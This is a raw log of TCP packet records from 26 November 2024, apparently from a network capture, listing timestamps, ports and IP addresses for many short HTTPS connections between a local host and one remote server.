Nov 26, 2024 00:08:32.078879118 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.078891993 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.079418898 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.079425097 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.393507957 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.393589973 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.393644094 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.393898964 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.393912077 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.393949032 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.393954039 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.397713900 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.397751093 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.397830009 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.398017883 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.398027897 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.523606062 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.523760080 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.523824930 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.523896933 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.523911953 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.523922920 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.523927927 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.527230024 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.527287960 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.527373075 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.527548075 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:32.527580023 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.734061003 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.734869003 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:33.734894037 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.735430002 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:33.735435009 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.764003992 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.764354944 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:33.764385939 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.764806986 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:33.764811993 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.803684950 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.804007053 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:33.804080963 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:33.804424047 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:33.804454088 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.208450079 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.208507061 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.208600044 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.208858013 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.208858013 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.208874941 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.208883047 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.211998940 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.212029934 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.212162971 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.212202072 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.212263107 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.212291956 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.212304115 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.212395906 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.212481976 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.212481976 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.212500095 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.212513924 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.214692116 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.214781046 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.216857910 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.217114925 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.217154026 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.247988939 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.248045921 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.248177052 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.258265018 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.261938095 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.262132883 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.262151957 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.262187958 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.262196064 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.266546011 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.266570091 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.268826008 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.268834114 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.269711018 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.269721031 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.270365953 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.270371914 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.274651051 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.274702072 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.274770975 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.275650978 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.275664091 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.694473028 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.694555998 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.694616079 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.694901943 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.694935083 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.694983006 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.694996119 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.698858023 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.698911905 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.698990107 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.699176073 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.699207067 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.716203928 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.716273069 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.716334105 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.716509104 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.716535091 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.716547012 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.716552973 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.719018936 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.719057083 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:34.719110012 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.719266891 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:34.719280005 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:35.936455965 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:35.937150002 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:35.937206984 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:35.937937975 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:35.937952995 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.057673931 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.061269999 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.061295986 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.061769009 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.061773062 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.184889078 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.185703039 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.185722113 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.186319113 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.186322927 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.372267008 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.372318983 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.372387886 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.372772932 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.372816086 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.372864008 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.372879028 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.376487970 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.376516104 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.376570940 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.376746893 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.376761913 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.435719967 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.436127901 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.436146021 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.436777115 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.436781883 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.481725931 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.482137918 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.482173920 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.482848883 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.482865095 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.503391027 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.503434896 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.503474951 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.503587961 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.503608942 CET	49833	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.503611088 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.503616095 CET	443	49833	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.506999016 CET	49837	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.507029057 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.507095098 CET	49837	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.507255077 CET	49837	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.507263899 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.638664007 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.638705969 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.638770103 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.639105082 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.639117956 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.639127016 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.639132977 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.642277002 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.642304897 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.642363071 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.642622948 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.642638922 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.870641947 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.870702982 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.870757103 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.870904922 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.870915890 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.870925903 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.870930910 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.873147011 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.873176098 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.873249054 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.873368025 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.873379946 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.926749945 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.926840067 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.926901102 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.927048922 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.927084923 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.927112103 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.927124977 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.929984093 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.930001020 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:36.930064917 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.930226088 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:36.930237055 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.159826040 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.160330057 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.160357952 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.160917044 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.160928011 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.222579956 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.224838018 CET	49837	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.224855900 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.225219011 CET	49837	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.225224018 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.423424006 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.424058914 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.424076080 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.424745083 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.424751997 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.589579105 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.590065956 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.590094090 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.590682983 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.590688944 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.604144096 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.604183912 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.604238033 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.604578018 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.604602098 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.604618073 CET	49836	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.604645014 CET	443	49836	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.608109951 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.608201027 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.608277082 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.608453989 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.608498096 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.660521030 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.660567999 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.660609007 CET	49837	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.660929918 CET	49837	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.660942078 CET	443	49837	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.664335966 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.664362907 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.664414883 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.664761066 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.664772034 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.717828035 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.718441010 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.718451023 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.718975067 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.718981028 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.879689932 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.879728079 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.879776955 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.879955053 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.879980087 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.879993916 CET	49838	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.880001068 CET	443	49838	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.882245064 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.882327080 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:38.882412910 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.882514000 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:38.882545948 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.024983883 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.025048018 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.025094986 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.025204897 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.025204897 CET	49839	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.025218010 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.025226116 CET	443	49839	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.027057886 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.027071953 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.027132034 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.027241945 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.027252913 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.162796021 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.162874937 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.162925005 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.163055897 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.163070917 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.163079977 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.163084984 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.165465117 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.165503025 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:39.165580034 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.165699005 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:39.165721893 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.446161985 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.446868896 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.446894884 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.447658062 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.447664022 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.457097054 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.483824015 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.483905077 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.484471083 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.484486103 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.662167072 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.699178934 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.699238062 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.709089994 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.709104061 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.813441992 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.857289076 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.881535053 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.904870987 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.904891014 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.904937983 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.904953957 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.904993057 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.914025068 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.914082050 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.914148092 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.918821096 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.918833017 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.919683933 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.919688940 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.920083046 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.920120955 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.920147896 CET	49841	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.920167923 CET	443	49841	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.922000885 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.922010899 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.922569990 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.922575951 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.922770977 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.922790051 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.922805071 CET	49842	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.922811031 CET	443	49842	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.928848982 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.928879023 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.928945065 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.929162979 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.929173946 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.930356979 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.930387974 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:40.930439949 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.931052923 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:40.931068897 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.108561993 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.108628988 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.108680010 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.108889103 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.108918905 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.108944893 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.108958006 CET	443	49843	13.107.246.63	192.168.2.4
